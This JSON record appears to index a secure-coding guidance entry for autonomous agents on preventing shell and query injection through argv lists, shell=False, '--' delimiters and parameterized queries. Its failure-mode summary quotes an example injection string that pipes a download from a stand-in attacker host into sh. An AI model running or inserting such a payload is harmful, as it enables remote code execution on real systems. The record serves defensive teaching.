{
  "schema_version": "1.3.0",
  "slug": "through-what-argument-vector-and-parameterization-boundaries-must-an-instance-construct-external-commands-to-prevent-metacharacter-interpolation-injection",
  "title": "Through what argument-vector and parameterization boundaries must an instance construct external commands to prevent metacharacter interpolation injection?",
  "date_of_record": "2026 October 20",
  "scope": "* **Applies when:** Constructing or executing OS subprocesses, CLI tool invocations, database queries (SQL, Cypher, GraphQL), or remote RPC commands that incorporate external, user-supplied, or repository-derived inputs. * **Does not apply ",
  "projections": {
    "unified_markdown_uri": "https://corpusfetch.com/c/through-what-argument-vector-and-parameterization-boundaries-must-an-instance-construct-external-commands-to-prevent-metacharacter-interpolation-injection.md",
    "method_python_slice_uri": "https://corpusfetch.com/c/through-what-argument-vector-and-parameterization-boundaries-must-an-instance-construct-external-commands-to-prevent-metacharacter-interpolation-injection.py",
    "remnant_warrant_slice_uri": "https://corpusfetch.com/c/through-what-argument-vector-and-parameterization-boundaries-must-an-instance-construct-external-commands-to-prevent-metacharacter-interpolation-injection.warrant.json"
  },
  "token_profile": {
    "full_markdown_tokens": 2220,
    "python_slice_tokens": 432,
    "warrant_slice_tokens": 220
  },
  "remnant_summary": {
    "core_distinction": "Autonomous agents routinely invoke OS subprocesses (`git`, `grep`, `find`, `curl`, `docker`) and database queries using external inputs such as filenames, commit messages, user search terms, or webhook payloads. A critical command-injection vulnerability occurs when an instance **concatenates or interpolates untrusted strings into a single command string int...",
    "what_was_observed": "In automated repository tooling, CI/CD runners, and agentic command-execution harnesses, instances operating without strict argument-vector boundaries exhibit four primary failure modes: 1. **Subprocess Shell Metacharacter Injection (`shell=True`):** An instance runs `subprocess.run(f\"git log --grep='{query}'\", shell=True)` on a user-supplied string or PR title containing `'; curl https://attacker.example/sh | sh; #'...",
    "condition_of_validity": "* **Applies when:** Constructing or executing OS subprocesses, CLI tool invocations, database queries (SQL, Cypher, GraphQL), or remote RPC commands that incorporate external, user-supplied, or repository-derived inputs. * **Does not apply when:** Performing pure in-memory Python string formatting for human display where the resulting string is never passed ...",
    "decision_boundary": "1. **Are you using `shell=True`, `os.system`, or an f-string to build a terminal command?** Stop immediately and rewrite the command as a Python list of strings (`[\"binary\", \"arg1\", \"arg2\"]`) with `shell=False`. 2. **Could a filename, branch name, or search term passed to your command start with a hyphen (`-`)?** Insert `\"--\"` right before the dynamic argume...",
    "operational_effect": "1. **Elimination of Shell Metacharacter RCE:** By banning `shell=True` and requiring `argv` lists, `/bin/sh` never parses untrusted input strings. 2. **Neutralization of Option-Flag Injection:** Mandatory `--` delimiters prevent untrusted operands from activating dangerous CLI flags. 3. **Structural Query Isolation:** SQL and structured queries separate gram..."
  },
  "matched_failure_symptoms": [
    "SUBPROCESS_PIPE_HANG_OR_FD_LEAK"
  ],
  "composition_edges": {
    "primary_domain": "subprocess_and_command_execution",
    "upstream_precondition_residuals": [
      "https://corpusfetch.com/c/across-what-w3c-baggage-allowlist-and-pii-sanitization-gates-must-an-instance-propagate-cross-service-context-to-prevent-header-amplification-and-external-data-exfiltration.md",
      "https://corpusfetch.com/c/across-what-cryptographic-csprng-and-state-prediction-isolation-gates-must-an-instance-generate-tokens-and-session-identifiers-to-prevent-pseudo-random-predictability-and-token-forgery.md"
    ],
    "downstream_consequence_residuals": [
      "https://corpusfetch.com/c/across-what-readiness-unregistration-and-in-flight-drain-gates-must-an-instance-sequence-sigterm-shutdown-to-prevent-dropped-requests-and-truncated-writes.md",
      "https://corpusfetch.com/c/across-what-bounded-queue-admission-control-and-load-shedding-gates-must-an-instance-manage-concurrency-to-prevent-unbounded-memory-growth-and-tail-latency-collapse.md"
    ],
    "co_occurring_sibling_residuals": [
      "https://corpusfetch.com/c/across-what-concurrent-pipe-drain-and-ring-buffer-boundaries-must-an-instance-consume-subprocess-stdout-and-stderr-to-prevent-os-pipe-deadlocks-and-unbounded-output-oom.md",
      "https://corpusfetch.com/c/against-what-environment-and-file-descriptor-inheritance-leaks-must-an-instance-sanitize-child-subprocess-contexts-to-prevent-credential-bleed-and-port-locking.md"
    ]
  },
  "empirical_verification_warrant": {
    "status": "AST_AND_INVARIANT_VERIFIED",
    "syntax_valid": true,
    "code_sha256": "78b5b7a29b5933bf9e99c66bab9e109a1c253ee0373692a30ba0c9a3044e0cd7",
    "verified_classes": [
      "CommandParameterizationError",
      "SafeCommandOutput",
      "ParameterizedCommandGate"
    ],
    "verified_functions": [
      "run_safe_argv"
    ],
    "verified_functions_count": 1,
    "defensive_guards_count": 5,
    "raised_exceptions": [
      "CommandParameterizationError"
    ],
    "sample_fail_closed_invariants": [
      "Rejected command: fixed_argv must be a non-empty list/tuple of strings, never a raw shell string."
    ],
    "stdlib_dependencies": [
      "dataclasses",
      "shutil",
      "subprocess",
      "typing"
    ],
    "observation_mode": "EMPIRICAL_BOUNDARY_CAPTURE",
    "zero_external_deps": true
  }
}